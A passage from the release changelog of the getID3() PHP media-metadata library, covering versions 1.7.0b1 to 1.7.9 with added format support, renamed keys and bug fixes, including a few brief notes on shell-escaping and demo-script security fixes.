when calling BigEndian2Int() on - zero-length string (thanks taylor*fausakØgmail*com) - * Bugfix: prevent errors when parsing invalid Vorbis comments - (thanks dr*dieselØgmail*com) - * Bugfix: files could not be analyzed from Windows shares - (e.g. \\SERVER\Directory\Filename.mp3) - * Bugfix: RAR file opening should use 'filenamepath' - (thanks adrien*gibratØgmail*com) - * Bugfix: [asf][codec_list_object][codec_entries][x][description] - not containing expected comma-seperated values no longer aborts - (thanks larry_globusØyahoo*com) - * Bugfix: [id3v2] UFID was not returning data - (thanks joostØdecock*org) - -1.7.9: [2009-03-08] James Heinrich - » Added DSS (Digital Speech Standard) support - new file: module.audio.dss.php - (thanks luke*wilkinsØdtsam*com) - » Added MPC (Musepack) SV8 support - (thanks WaldoMonster) - ¤ some MPC [header] keys renamed to be the same between SV7/SV8 - ¤ start aligning demos CSS styling with v2.x styles - new file: demos/getid3.css - ¤ JPEG now returns parsed IPTC tags in [iptc] - ¤ getid3_lib::GetDataImageSize now requires $imageinfo parameter - ¤ better support for Matroska files with AC3/DTS/MP3/OGG audio - (support still lacking for AAC) - ¤ standardize ID3v2 TCMP key to 'part_of_a_set' between reading - and writing (thanks aaron_stormØyahoo*com) - ¤ added ID3v2 keys 'TCMP','TCP' to for writing iTunes-style tags - (thanks aaron_stormØyahoo*com) - ¤ back-ported PICTURE tag handling in FLAC tags - (thanks WaldoMonster) - ¤ added alternate method to get [video][frame_rate] from QuickTime - * added partial support for "TCMP"/"TCP" ID3v2 frames (iTunes - non-standard part-of-a-compilation tag) - (thanks aaron_stormØyahoo*com) - * slightly improved scanning through FLV files speed - (thanks franki) - * faster Matroska scanning by stopping at cluster chunks once - needed header chunks are found (much faster for large files) - * added workaround for broken tagging programs that miss terminating - null byte for numeric ID3v2.4 genres - (thanks yam655Øgmail*com) - * Bugfix: MultiByteCharString2HTML() did not escape common HTML - special characters like & and ? - * Bugfix: cleaned up some malformed HTML errors in demo.browse.php - * Bugfix: under Windows files >2GB might not be processed due to - "dir" command not finding file with double directory slashes - * Bugfix: "MODule (assorted sub-formats)" was falsely matching - some random files (e.g. JPEGs) (thanks qwertywin) - * Bugfix: suppress PHP_notice on failed SWF-compressed - decompression failure (thanks mkron) - - -1.7.8b3: [2008-07-13] James Heinrich - » Experimental partial support for files > 2GB (gets filesize - from shell call to "dir" or "ls", parse files with PHP only - up to 2GB limit). See readme.txt for details on what formats - work properly and other limitations - » Initial support for Matroska. Has only been tested with a - limited number of sample files, please report any bugs - » Experimental support for PHP-RAR reading. Known buggy, disabled - by default, enable with care - ¤ getid3_lib::CastAsInt() now returns ints up to 2^31 (not 2^30) - ¤ Quicktime: [video] now returns [frame_rate] and [fourcc] for MP4 - video files - * MP3: headerless VBR files now only have up to 10 blocks of 5000 - frames each scanned by default and bitrate extrapolated from that - distribution for speed (thanks glau*stuffØridiculousprods*com) - * Quicktime: support "co64" atom - * SWF: lower memory use when compressed SWF files processed - (thanks doughammondØblueyonder*co*uk) - * Bugfix: FLV height and width was calculated incorrectly - (thanks moysevichØgmail*com) - * Bugfix: FLV GETID3_FLV_TAG_META parsed incorrectly - (thanks moysevichØgmail*com) - * Bugfix: Quicktime: 'tkhd' matrix_v and matrix_d were switched - (thanks rjjmoroØhotmail*com) - * Bugfix: Quicktime: frame_rate was often incorrect for MP4 video - * Bugfix: getid3_lib::CastAsInt returned -2147483648 when passed - 2147483648 (0x80000000) - - -1.7.8b2: [2007-10-15] James Heinrich, Allan Hansen - * Video bitrate now calculated even if not explicitly stated in - file metadata, but if overall and audio bitrates are known - * Bugfix: 'comments_html' missing last letter in id3v2 tags. - * Bugfix: module objects (e.g. getid3_riff) that are instantiated - in other modules are explicitly disposed once no longer needed. - * Bugfix: some AVI files were not returning audio information - because "strh" chunk was not being read in - * Bugfix: asf [audio][][dataformat] should be set - to "wma" but wasn't - * Bugfix: [mpeg][audio][bitrate_mode] should always be one of - ("cbr", "vbr", "abr") but wasn't for some values in - LAMEvbrMethodLookup() - * Bugfix: MP3 audio in AVI files could show "cbr" instead of - correct audio bitrate_mode, and audio bitrate could be slightly - incorrect if multiple files were scanned in a loop (scanning - single files produced correct values). - * Bugfix: remove [audio/video][bitrate] key if falsely set to zero - * Bugfix: PlaytimeString returned non-matching value for negative - playtimes (which shouldn't happen either, but now they're at - least shown correctly, if they happen due to other bugs) - * Bugfix: Several ASF header values are invalid if the broadcast - flag is set, getID3() now calculates these values in other - ways if the broadcast flag is set (thanks fletchØpobox*com) - * Bugfix: lyrics3-flags-lyrics field was always false, and there - never was a lyrics3-flags-timestamp field present even though - the lyrics3-raw-IND field consisted of "10" (lyrics present, - timestamp not present). (thanks i*f*schulzØweb*de) - * Bugfix: TAR.GZ files produce PHP errors when - option_gzip_parse_contents == true in module.archive.gzip.php - (thanks alan*harderØsun*com) - - -1.7.8b1: [2007-01-08] Allan Hansen - » Major update to readme.txt - » PHP 4.2.0 required - » Tagwriter requires metaflac 1.1.1+ in order to write FLAC tags. - » Removed broken and non-fixable tagwriting module for real format. - ! Developers please help fix the above module: - https://www.getid3.org/phpBB3/viewtopic.php?t=677 - » Avoided security issues with demo.browse.php, demo.write.php and - demo.mysql.php. These demos are now disabled by default and has - to be enabled in the source. - * Bugfix: id3v2 genre broken since 1.7.7. - » Added DTS module (module.audio.dts.php) - ¤ ASF/WMV files now return largest video stream dimensions in - [video][resolution_x] and [video][resolution_y] - * Bugfix: Minor issues with midi module (avoid PHP_NOTICE). - * Bugfix: Minor issues with lyrics3 (avoid PHP_NOTICE). - * Bugfix: PHP_NOTICE issues in MultiByteCharString2HTML() - * Bugfix: PHP_NOTICE issue in BigEndian2Float() - * Bugfix: fread() zero bytes issue in real module. - * Bugfix: ASF module returned mime type video/x-ms-wma instead of - video/x-ms-wmv for certain FourCCs. - * Bugfix: PHP_NOTICE issues with broken ID3v2 tag/garbage. - * Bugfix: PNG module broken in regards to gIFg and gIFx chunks. - » Removed detection of short filenames 8dot3 under windows, as - it only worked for English versions of windows and has other - problems. - * Bugfix: Some CBR MP3 files detected as VBR with plenty of warnings. - * Bugfix: PHP_NOTICE issues in MP3 module. - * Bugfix: Quicktime returned incorrect frame rate. - * Bugfix: DivByZero on zero length FLV files. - * Bugfix: PHP_NOTICE one some FLV files. - * Bugfix: ID3v2 UTF-8/16 encoded frames terminated by \x00 - * Bugfix: ID3v2 LINK frames iconv error. - * Bugfix: ID3v2 padding length calculated incorrectly. - * Bugfix: ID3v2.3 extended headers non-conformance - » SVG file detection. - » Added SVG user module (user_modules/module.graphic.svg.php). - Thanks to Roan Horning. - » PAR2 file detection (no parsing) - * Bugfix: Wave files being detected as MP3. - * Bugfix: ASF padding offset bug. - * Bugfix: Shorten module not working for wav files with fmt - chunks <> 16 bytes. - ¤ RIFF: Zero sized chunk invokes warning instead of error. - ¤ FLAC: Removed some ['raw'] keys. - ¤ MPC: Mime type returned: audio/x-musepack - -1.7.7: [2006-06-25] Allan Hansen - * Bugfix: AAC static bitrate cache wrong result when parsing - several files. - * Bugfix: Do not return NULL video bitrate for ASF v3. - * Bugfix: getid3_lib::GetImageSize() broken => JPG module broken. - * Bugfix: Encoder options should now be returned with correct - "--alt-preset n" / "--alt-preset cbr n" when scanning more files. - * Bugfix: Shorten module not escapeshellarg() filenames (UNIX only). - * Bugfix: Filenames not escapeshellarg() for md5_data and - sha1_data (UNIX only). - * Bugfix: UNIX: head and tail called with -cNNN instead of "-c NNN". - » Added detection support for PDF and MS Office documents - (*.doc, *.xls, *.pps, etc) (thanks zeromassmediaØgmail*com) - ¤ Bugfix: ID3v2 "TDRC" frame now used as "year" in comments if TYER - unavailable (TYER is deprecated in ID3v2.4) - (thanks matthiasØpanczyk*org) - ¤ Removed GETID3_OS_DIRSLASH, replaced with DIRECTORY_SEPARATOR - * Bugfix: added LAME preset guessing for presets 410,420,440,490 - (thanks adminØlogbud*com) - * Bugfix: Added escapeshellarg() call in getid3_lib::hash_data - (thanks towbØgmx*net) - » TAR module no longer reads entire file into memory - » FLV module no longer reads entire file into memory - * Bugfix: added LAME preset guessing for presets 410,420,440,490 - (thanks adminØlogbud*com) - * Bugfix: Added escapeshellarg() call in getid3_lib::hash_data - (thanks towbØgmx*net) - * Bugfix: Error message when padding in FLAC files were used up. - * Bugfix: Shorten module not working under windows. - ¤ Bugfix: gmmktime() instead of mktime(). - ¤ Using gmmktime() instead of mktime() in ISO, ZIP, PNG and RIFF - modules to avoid E_STRICT notices with PHP5.1+. - * Bugfix: ['comments_html'] and ['comments'] contains different - value when having multiple tags (one of them ID3v1) and the - long field names. - -1.7.6: [2006-03-12] James Heinrich - * Rewrote getid3_lib::GetDataImageSize() to use GetImageSize() - instead of using code by filØrezox*com - * Bugfix: incorrect dimensions from disabled Quicktime tracks - (thanks m-1Øgmx*net) - * Bugfix: ['codec'] key warning in module.audio-video.asf.php - (thanks niel*archerØblueyonder*co*uk) - * Bugfix: undefined array in write.php - (thanks drewishØkatherinehouse*com) - * Bugfix: DeleteAPEtag() incorrectly failing when no tag present - (thanks drewishØkatherinehouse*com) - * Bugfix: ID3v2 writing frames with URL fields failing when URL - is not in ISO-8859-1 (thanks drewishØkatherinehouse*com) - * Bugfix: PHP notices on bad ID3v2 frames - (thanks cw264701Øohiou*edu) - * Bugfix: audio & video bitrates sometimes wrong in ASF files - (thanks kris_kauperØexcite*com) - -1.7.5: [2005-12-29] James Heinrich - » Added FLV (FLash Video) support -- new file: - module.audio-video.flv.php - (thanks Seth Kaufman for code) - » Real tags can now be written (previous Real tag writing - code was not supposed to be in public releases, as it - was not complete) - » GETID3_HELPERAPPSDIR now autodetected under Windows - ¤ ASF lyrics now returned under [comments][lyrics] - * Bugfix: removed "--lowpass xxxxx" info from guessed - LAME presets when source frequency <= 32kHz - * Bugfix: ID3v2 extended header errors - * Bugfix: missing ob_end_clean() in write.id3v2.php - (thanks rasherØgmail*com) - -1.7.4: [2005-05-04] James Heinrich - ¤ Added ['quicktime']['hinting'] key (boolean) - (thanks jonØwebignition*net) - * Bugfix: major UTF-8 to UTF-16/ISO-8859-1 conversion - bug (empty string returned) when using iconv_fallback - (thanks chrisØfmgp*com) - * Bugfix: Missing 'lossless' key in RIFF-WAV - (thanks bobbfwedØcomcast*net) - -1.7.3: [2005-04-22] James Heinrich - » Added TAR support -- new file: module.archive.tar.php - (thanks Mike Mozolin for code!) - » Added GZIP support -- new file: module.archive.gzip.php - (thanks Mike Mozolin for code!) - * Bugfix: demo.browse.php now displays embedded images - internally instead of passing local filename as IMG - SRC (should allow demo.browse.php to correctly show - embedded images over a network) - (thanks patpowermanØhotmail*com) - * Bugfix: minor UTF-8 display issues in demo.browse.php - * Bugfix: demo.browse.php now works even if the evil - setting magic_quotes_gpc is turned on - (thanks patpowermanØhotmail*com) - * Bugfix: incorrect MIDI playtime for some files - (thanks joelØoneporpoise*com) - * Bugfix: 'url_source' typo in module.tag.id3v2.php - (thanks richardlynchØusers*sourceforge*net) - * Bugfix: Quicktime 'mvhd' matrix values were wrong - (thanks webØbobbymac*net) - ¤ ID3v2 now returns xx/yy for ['track'] (if - available), with xx in ['tracknum'] and yy in - ['totaltracks']. Previously ['tracknum'] was not - available and ['track'] had only xx. - Bugfixes and improvements to /demo/demo.mysql.php: - - remix/version parsed from tags and stored in - database, can be used when renaming files - - track number can be used for renaming files - - -1.7.2: [2004-10-18] Allan Hansen - » Added support for WavPack v4.0+ - (thanks ahØartemis*dk) - » Removed code for parsing EXE files - (thanks ahØartemis*dk) - Removed file: module.misc.exe.php - * Bugfix: Large ID3v2 tags inside ASF not parsed - properly under PHP5. - * Bugfix: Certain Wavpack3 files failed under PHP5 due - to new undocumented tmpfile() limit (same problem as - above). - * Bugfix: New iTunes crashes PHP - temp fix - no tags - on those files. - * Bugfix: ['nsv']['NSVs']['framerate_index'] might be - wrong (thanks ahØartemis*dk) - * Bugfix: transparent color was wrong from truecolor - PNG (thanks ahØartemis*dk) - * Bugfix: Changed MPC SV7 header size from 30 to 28, - this will change hash values for MPC files - (thanks ahØartemis*dk) - * Bugfix: Changed MPC SV4-6 header size from 28 to 8, - this will change hash values for MPC files - (thanks ahØartemis*dk) - ¤ Trim/unset wavpack encoder_options to match 2.0.0b2 - output. - ¤ Commented-out unknown/unused values in NSV and ISO - modules (thanks ahØartemis*dk) - - -1.7.1b1: [July-26-2004] James Heinrich - » Added support for Apple Lossless Audio Codec - » Added support for RealAudio Lossless - » Added support for TTA v3 - » Added support for TIFF - New file: /getid3/module.graphic.tiff.php - » Modified iconv_fallback to work with UTF-8, UTF-16, UTF-16LE, - UTF-16BE and ISO-8859-1 even if iconv() and/or XML support is - not available. This means that iconv() is no longer required - for most users of getID3() - (thanks Jeremia, khleeØbitpass*com) - » Added support for Monkey's Audio v3.98+ (thanks ahØartemis*dk) - » Included new demo showing most-basic getID3() usage - New file: /demos/demo.basic.php - * Bugfix: LAME3.94+ presets cached incorrectly if multiple files - are scanned in one batch and first file is LAME3.93 or earlier - (thanks enoyandØyahoo*com) - * Bugfix: Added warning if compressed ID3v2 frame decompression - fails. (thanks Mike Billings) - * Bugfix: Assorted small fixes to ensure compatability with PHP5 - * Bugfix: ID3v1 genre "Blues" could not be written - (thanks Jeremia) - * Bugfix: ['bitrate_mode'] typo in module.audio-video.real.php - (thanks asukakenjiØusers*sourceforge*net) - * Bugfix: ['zip']['files'] is now populated with filenames even - if End Of Central Directory couldn't be parsed - * Bugfix: ['audio']['lossless'] was incorrect for FLAC - (thanks WaldoMonster) - * Bugfix: MD5 File was incorrect in directory browse mode for - /demo/getid3.browse.php - * Bugfix: PHP v5 compatability changes (float array keys, fread() - calls with zero data length) - (thanks getid3Øjsc*pp*ru) - * Bugfix: was dying if on compressed ID3v2 frames if - gzuncompress() function was unavailable - * Bugfix: ['vqf']['COMM'] was always empty - * Bugfix: MIDI playtime was missing for single-track MIDI files - * Bugfix: removed � characters from ['comments_html'] - (thanks p*quaedackersØplanet*nl) - * Bugfix: improved MIDI playtime accuracy - (thanks joelØoneporpoise*com) - * Bugfix: BMP subtypes 4 and 5 were not being identified - * Bugfix: frame_rate in AVI was incorrectly truncated to integer - * Bugfix: FLAC cuesheet track index was incorrect - (thanks tetsuo*yokozukaØoperamail*com) - ¤ ['quicktime']['display_scale'] now contains the playback scale - multiplier for QuickTime movies - a movie set to playback at - double-size will have "2" here. Other values are "1" and "0.5" - ¤ Added LAME preset guessing for --preset medium with v3.90.3 - (thanks phwipØfish*co*uk) - ¤ Added $encoding_id3v1 to allow for ID3v1 encodings other than - the standard ISO-8859-1 - ¤ Default AVI video bitrate_mode is now 'vbr' - (thanks eltoderØpisem*net) - Force getID3() to abort if Shorten files have ID3 or APE tags - (thanks ahØartemis*dk) - Editable textbox for parent directory in demo.browse.php - (thanks eltoderØpisem*net) - - -1.7.0-hotfix [2004-03-17] Allan Hansen - (hotfix version released by Allan Hansen) - * Bugfix: PHP 4.1.x compatiblity - fgets($fp) => fgets($fp, 1024) - * Bugfix: Added default charset to TextEncodingNameLookup() in - module.tag.id3v2.php - Ø Removed option_no_iconv - iconv() support is only a requirement for WMA/WMW/ASF, and for - destination encodings other than ISO-8859-1 and UTF-8, iconv is - not needed otherwise. New 'iconv_req' in GetFileFormatArray() - only set for WMA/WMV/ASF. analyze() now refuses to analyse - WMA/ASF file if iconv is not present. - iconv_fallback() only dies on internal errors not missing iconv() - - -1.7.0: [January-19-2004] James Heinrich - » Added support for RIFF/CDXA files (MPEG video in RIFF container - format (thanks chrisØdigitekdesign*com) - » Added support for TTA v2 (thanks ahØartemis*dk) - ¤ ID3v2 unsynchronisation scheme disabled by default because most - tag-reading programs cannot read unsynchronised tags. Can be - overridden by setting id3v2_use_unsynchronisation to true. - (thanks mikeØdelusion*org) - ¤ extention.*.php renamed to extension.*.php - (thanks tp62Øcornell*edu) - ¤ /demo/demo.check.php renamed to /demo/demo.browse.php - ¤ Added id3v2_paddedlength configuration parameter to WriteTags() - and renamed tag_language to id3v2_tag_language - ¤ MPEG audio layers are now represented as 1, 2 or 3 instead of - 'I', 'II', or 'III' - ¤ Added [audio][wformattag] and [video][fourcc] for WAV and AVI - ¤ Added [audio][streams] which contains one entry for each audio - stream present in the file (usually only one). The data is a - copy of what is usually found in [audio]. If there are multiple - audio streams then [audio] will contain a sum of the bitrates - of all audio streams, and the data format of the first stream - (if streams are of different data types) - ¤ Added BruteForce mode to mp3 scanning. Disabled by default as - it is extremely slow and only files that are broken enough to - not really play will gain any benefit from this. - ¤ Suppress '--resample xxxxx' appended to encoder options for mp3 - with low-quality presets for default sampling frequencies - ¤ Enhanced LAME preset guessing for pre-3.93 with a better lookup - table, --resample/--lowpass guessing (thanks phwipØfish*co*uk) - ¤ RIFF files with non-MP3 contents no longer have - [audio][encoder_options] set - ¤ Added [audio][encoder_options] to audio formats where possible - (including LiteWave, LPAC, OptimFROG, TTA) - ¤ Moved [quantization] and [max_prediction_order] from - [lpac][flags] to just [lpac] - ¤ WavPack flags are now parsed into [wavpack][flags] - * Bugfix: APEtags with ReplayGain information stored with comma- - seperated decimal values (ie "0,95" instead of "0.95") were - giving wrong peak and gain values - * Bugfix: Filesize > 2GB not always detected correctly - * Bugfix: Some ID3v2 frames had data key unset incorrectly - (thanks chrisØdigitekdesign*com) - * Bugfix: Warnings on empty-strings-only comments - * Bugfix: ID3v2 tag writing may have had incorrect padding length - if padded length less than current ID3v2 tag length and - merge_existing_data is false (thanks mikeØdelusion*org) - * Bugfix: hash_data() for SHA1 was broken under Windows - * Bugfix: BigEndian2Float()/LittleEndian2Float() were broken - * Bugfix: LAME header calculated track peaks were incorrect for - LAME3.94a15 and earlier - * Bugfix: AVIs with VBR MP3 audio data reported incorrect bitrate - and bitrate_mode - * Bugfix: AVIs sometimes had incorrect or missing video and total - bitrates - * Bugifx: AVIs sometimes had incorrect ['avdataend'] and - therefore also incorrect data hashes (md5_data, sha1_data) - * Bugfix: ID3v1 genreid no longer returned for Unknown genre - * Bugfix: ID3v1 SCMPX genres were broken - Modified LAME header parsing to correctly process peak track - value for LAME3.94a16+ (thanks Gabriel) - md5_file() and sha1_file() now work under Windows in PHP < 4.2.0 - and 4.3.0 respectively with helper apps - Default md5_data() tempfile location is now system temp directory - instead of same directory as file (thanks towbØtiscali*de) - Improved list of RIFF ['INFO'] comment key translations - More helpful error message when GETID3_HELPERAPPSDIR has spaces - /demo/demo.browse.php now autogets both MD5 and SHA1 hashes for - files < 50MB - Replaced PHP_OS comparisons with GETID3_OS_ISWINDOWS define - (thanks necroticØusers*sourceforge*net) - - -1.7.0b5: [December-29-2003] James Heinrich - » Windows only: Various binary files are now required for some - file formats, especially for tag writing, as well as md5sum - (and other) calculations. These binaries are now stored in the - directory defined as GETID3_HELPERAPPSDIR in getid3.php - (default is /helperapps/ parallel to /getid3/). - Note: This directory must not have any spaces in the pathname. - All neccesary files are available as a seperate download. - See /helperapps/readme.txt for more information - New file: /helperapps/readme.txt - » Unified tag-writing interface for all tag formats - New file: /getid3/write.php - /getid3/write.apetag.php - /getid3/write.id3v1.php - /getid3/write.id3v2.php - /getid3/write.lyrics3.php - /getid3/write.metaflac.php - /getid3/write.vorbiscomment.php - » Added support for Shorten - requires shorten binary (head.exe - is also required under Windows). - New file: /getid3/module.audio.shorten.php - » Added support for RKAU - New file: /getid3/module.audio.rkau.php - » Added (minimal) support for SZIP - New file: /getid3/module.archive.szip.php - » Added MySQL caching extention (thanks ahØartemis*dk) - New file: /getid3/extention.cache.mysql.php - » Added DBM caching extention (thanks ahØartemis*dk) - New file: /getid3/extention.cache.dbm.php - » Added sha1_data hash option (thanks ahØartemis*dk) - » Added option to allow getID3() to skip ID3v2 without parsing it - for faster scanning when ID3v2 data is not required. If you - want to enable this feature delete /getid3/module.tag.id3v2.php - (thanks ahØartemis*dk) - ¤ 8-bit WAV data now calculates MD5 checksums as normal, not - converting to signed data as before, so stored md5_data_source - in FLAC files will no longer match md5_data for the equivalent - decoded 8-bit WAV. A warning will be generated for 8-bit FLAC - files - ¤ Added option_no_iconv option to allow getID3() to work - partially without iconv() support enabled in PHP - (thanks ahØartemis*dk) - ¤ All '*_ascii' keys removed for ASF/WMA/WMV files - ¤ All 'ascii*' keys removed for ID3v2 tags - ¤ Ogg filetypes now return MIME of "application/ogg" instead of - the previous "application/x-ogg" - (thanks blakewattersØusers*sourceforge*net) - ¤ Force contents of ['id3v2']['comments'] to UTF-8 format from - whatever encoding each frame may have (text encoding can vary - from frame to frame in ID3v2) - ¤ MP3Gain information from APE tags suppressed from ['tags'] and - parsed into ['replay_gain'] - ¤ ReplayGain information (all formats) changed from "Radio" and - "Audiophile" to "Track" and "Album" respectively - ¤ ['volume'] and ['max_noclip_gain'] are now available in both - ['replay_gain']['track'] and ['replay_gain']['album'] for all - formats that calculate ReplayGain. - ¤ ['video']['total_frames'] is available for AVIs - ¤ All parsed ID3v2 frame data is now in ['id3v2'][XXXX][#] - (previously some frame types would have numeric array keys if - multiple instances of that frame type were allowed and other - frame types would not) - ¤ ASF/WMA "WM/Picture" images are now parsed in the same manner - as ID3v2 with the image (ex JPEG) data returned in [data] - rather than [value] - * Bugfix: Optional tag processing options were being ignored (ie - ID3v1 still processed even if option_tag_id3v1 == false) - (thanks ahØartemis*dk) - * Bugfix: fixed MultiByteCharString2HTML() for UTF-8 - * Bugfix: Quicktime files not always reporting video frame_rate - * Bugfix: False ID3v1 synch patterns in APE or Lyrics3 tags are - now detected and incorrect ID3v1 data not returned - (thanks sebastian_maresØusers*sourceforge*net for the idea) - * Bugfix: WMA9 Lossless now reported as lossless - * Bugfix: two typos in ID3v1 genre list - * Bugfix: MPEG-2/2.5 ABR/VBR MP3 files had doubled playtime - * Bugfix: MPEG-2/2.5 LayerII (ie MP2: 24/22.05/16kHz) files were - not detected due to incorrect frame length calculation - * Bugfix: MPEG LayerI files were not detected due to incorrect - frame length calculation (must be multiple of slot length) - Added alternative md5_data via system call - twice as fast. Needs - "getID3()-WindowsSupport" to work under Windows. - (thanks ahØartemis*dk) - ID3v2.4 compressed frames are now supported - php_uname() calls changed to use PHP_OS constant - Added SCMPX extensions to ID3v1 genres (0xF0-0xFE) - Obfuscated contributor email address in changelog and sourcecode - Added memory-saving EmbeddedLookup() function for lookup tables - in RIFF and ID3v2 modules (thanks ahØartemis*dk) - Major memory patches to many modules by using - $var = &$INFO_ARRAY_AT_SOME_INDEX - in place of large multi-dimensional array declarations. - Memory saved: RIFF: ~200kB; ID3v2: ~475kB; ASF: ~50kB etc. - (thanks ahØartemis*dk) - - -1.7.0b4: [November-19-2003] James Heinrich - » Support added for MPC files with old SV4-SV6 structure - » RealVideo now properly supported with resolution, framerate, etc - (thanks jcsston) - » RealAudio files with old-style file format (v2-v4) are now - fully supported - » Support added for DolbyDigital WAV files (thanks ahØartemis*dk) - ¤ ['RIFF'] is now ['riff'] to conform to make all root key names - lowercase - ¤ ['OFR'] is now ['ofr'] to conform to make all root key names - lowercase - ¤ ['tags_html'] is now available as a copy of ['tags'] but - with all text replaced with an HTML version of all characters - above chr(127), translated according to whatever the encoding - of the source tag is, in the HTML form Ӓ - ¤ CopyTagsToComments() is now available in getid3_lib - ¤ QuicktimeVR files now return a ['video']['dataformat'] of - 'quicktimevr' instead of 'quicktime' (thanks gtsØtsu*biz) - ¤ Quicktime video files with DivX, Xvid, 3ivx or MPEG4 video - streams now return those names as ['video']['dataformat'] - ¤ MPEG video files are now identified with ['video']['codec'] set - to either 'MPEG-1' or 'MPEG-2' (rather than just 'MPEG'). If you - see a file wrongly identified, please report it! - (thanks fccHandler) - ¤ All bitrate values in ['mpeg']['audio'] is now reported in bps - rather than kbps (ie 128000 instead of 128) for consistancy - ¤ AVIs with MP2 audio now report ['audio']['dataformat'] as 'mp2' - rather than 'wav' (thanks metalbrainØnetian*com) - ¤ Added ['md5_data_source'] for OptimFROG - ¤ AC3 in RIFF-WAV now identified with ['audio']['dataformat'] - returning 'ac3' - ¤ WavPack ['extra_bc'] now returned as integer - ¤ WavPack ['extras'] now returned as 3-element array of integers - ¤ MP3 ['audio']['encoder options'] now returns 'VBR' or 'CBR' only - (no bitrate) if no LAME preset is used, or 'VBR q??' where ?? is - a number 0-100 for Fraunhofer-encoded VBR MP3s - * Bugfix: VBR MP3s could have incorrect bitrate reported - * Bugfix: Quicktime files with MP4 audio were not returning - ['video']['dataformat'] (thanks robØmassive-interactive*nl) - * Bugfix: strpad vs str_pad typo in module.riff.php - (thanks nicojunØusers*sourceforge*net) - * Bugfix: ReplayGain information was often wrong for MPC files - * Bugfix: MD5 and other post-TAIL chunks were not being processed - in module.audio.optimfrog.php - * Bugfix: Undefined variable in table_var_dump() in demo/check.php - * Bugfix: QuickTime files now only return information in [audio] - or [video] if those exist in the file - * Bugfix: WavPack no longer tries to read entire compressed data - chunk - * Bugfix: Properly handle VBR MP3s with "Info" (rather than - "Xing") header frame. foobar2000 adds this to MP3 files when - "Fix MP3 Header" function is used (thanks ahØartemis*dk) - * Bugfix: Fraunhofer VBRI headers for MP3s were assuming 2-byte - entries for TOC rather than using stride, and were ignoring the - scaling value. (thanks sebastianØmaresweb*net) - Several QuickTime atoms have been added to an exclusion list - because they have been observed, but I have no idea what they - are supposed to do so I can't add real support for them, but - they should not generate warnings (robØmassive-interactive*nl) - Old MPC encoder (before v1.06) was return as v0.00, now returned - as 'Buschmann v1.7.0-v1.7.9 or Klemm v0.90-v1.05' - (thanks ahØartemis*dk) - Added check for magic_quotes_runtime and code to disable it if - neccesary (thanks stefan*kischkelØt-online*de) - Added 3ivx fourCCs to module.audio-video.quicktime.php - MP3 and AC3 streams are now parsed when contained inside RIFF-WAV - or RIFF-AVI container formats - Better detection of named presets in LAME 3.93/3.94 - - -1.7.0b3: [October-17-2003] James Heinrich - » AC-3 (aka Dolby Digital) is now supported. - New file: /getid3/module.audio.ac3.php - * Bugfix: ID3v2-writing function Unsynchronise() was broken, which - made ID3v2 tag containing binary data (typically pictures) get - corrupted. (thanks t*coombesØbendigo*vic*gov*au, - i*kuehlbornØndh*net, mikeØdelusion*org, mikeØftl*com) - * Bugfix: Zip comments now returned as array instead of string, - as they're supposed to be. - * Bugfix: Quicktime/MP4 files may have reported extremely low - bitrates (thanks spunkØdasspunk*com) - Improved double-ID3v1 check to prevent false detection when string - "TAG" is present in APE or Lyrics3 - Fixed /demo/simple.php - Fixed /demo/joinmp3.php - Fixed /demo/mimeonly.php - Fixed /demo/write.php - - -1.7.0b2: [October-15-2003] James Heinrich - » TTA Lossless Audio Compressor format now supported. - (http://tta.iszf.irk.ru) - New file: /getid3/module.graphic.tta.php - » PhotoCD (PCD) format now supported. Image data for the three - lowest resolutions (192x128, 384x256, 768x512) can be optionally - extracted. - New file: /getid3/module.graphic.pcd.php - ¤ RIFF-MP3 files now should return the same ['md5_data'] as the - identical MP3 file outside the RIFF container - ¤ Name of LAME preset used (if available, needs LAME v3.90+) - returned in ['mpeg']['audio']['LAME']['preset_used'] and also as - part of ['audio']['encoder_options'] - ¤ VQF module now sets ['audio']['encoder_options'] to i.e. CBR96 - ¤ MP3 module now sets ['audio']['encoder_options'] on CBR files - and all LAME-encoded files - ¤ MPC module now sets ['audio']['encoder_options'] - ¤ Monkey module now sets ['audio']['encoder_options'] - ¤ AAC module now sets ['audio']['encoder_options'] to profile name - ¤ ASF module now sets ['audio']['encoder_options'] - ¤ Ogg module adds ['audio']['encoder_options'] -b 128 on - Ogg Vorbis 1.0+ ABR files - ¤ Ogg module adds ['audio']['encoder_options'] -q N on - Ogg Vorbis 1.0+ VBR files 44k/48k sample rate/stereo files only. - ¤ Ogg module ['audio']['encoder_options'] "Nominal birate: 80k" to - other Ogg Vorbis files. - ¤ ID3v2 track number now returned as string (with leading zeros, - if present in data) rather than integer (thanks Plamen) - ¤ ASF module returns ['asf']['comments']['encoding_time_unix'] if - available (from WM/EncodingTime) - ¤ Fixed /demo/mysql.php and added some new features: - - encoder options - - ID3v2 "Encoded By" - - non-empty comments - - total entries in database summary (totals & averages) - - database version update - * Bugfix: 'UNICODE' iconv() charset changed to 'UTF-16LE' or - 'UTF-16BE' as appropriate - * Bugfix: iconv_fallback() function created in case iconv() fails - * Bugfix: fixed MD5 calls in demo/check.php - * Bugfix: reenabled detection of APE + Lyrics3 tags in same file - * Bugfix: ASF module now returns ID3v1 genre as string instead of - number - patch from Eugene Toder. - * Bugfix: ASF module now reads non-standard field names, - i.e. "date" as well as WM/Year - patch from Eugene Toder. - * Bugfix: ASF module now returns genre as-is if it is not a - standard ID3v1 genre (thanks wonderboy) - * Bugfix: Eliminated false-synch problem in MP3 module - * Bugfix: Fixed missing root ['bitrate'] for most formats - * Bugfix: ['audio']['compression_ration'] missing for MPC - (thanks WaldoMonster) - * Bugfix: NSV module died in 1.7.0b1 - * Bugfix: ASF module died in 1.7.0b1 when WM/Picture preset - * Bugfix: ASF tracknumber incorrect when specified by WM/Track - rather than WM/TrackNumber (thanks jgriffiniiiØhotmail*com) - * Bugfix: MPEG audio+video playtime should now be pretty accurate - (ie within 0.1% variation at most) - (thanks mgrimmØhealthtvchannel*org) - * Bugfix: ID3v2 not being copied to ['tags'] in some cases - * Bugfix: LAME CBR files with Info tag were being incorrectly - flagged as VBR (thanks Jojo) - * Bugfix: LAME tag not being detected for LAME 3.90 (original) - Changed regex pattern match for MP3 to include 3rd byte for more - reliable/accurate pattern matching - Added duplicate-ID3v1 tag checking (two ID3v1 tags, one after the - other) that has been known to occur with iTunes - (thanks towbØtiscali*de) - Added instructions for enabling iconv() support under Windows - Removed some unneccesary debugging code - Suppressed duplicate PHP warnings for missing include files - Included some missing dependencies in various files - /demo/audioinfo.class.php now copies ['audio']['encoder_options'] - - -1.7.0b1: [2003-09-28] Allan Hansen - This beta version was not made by James Heinrich. It 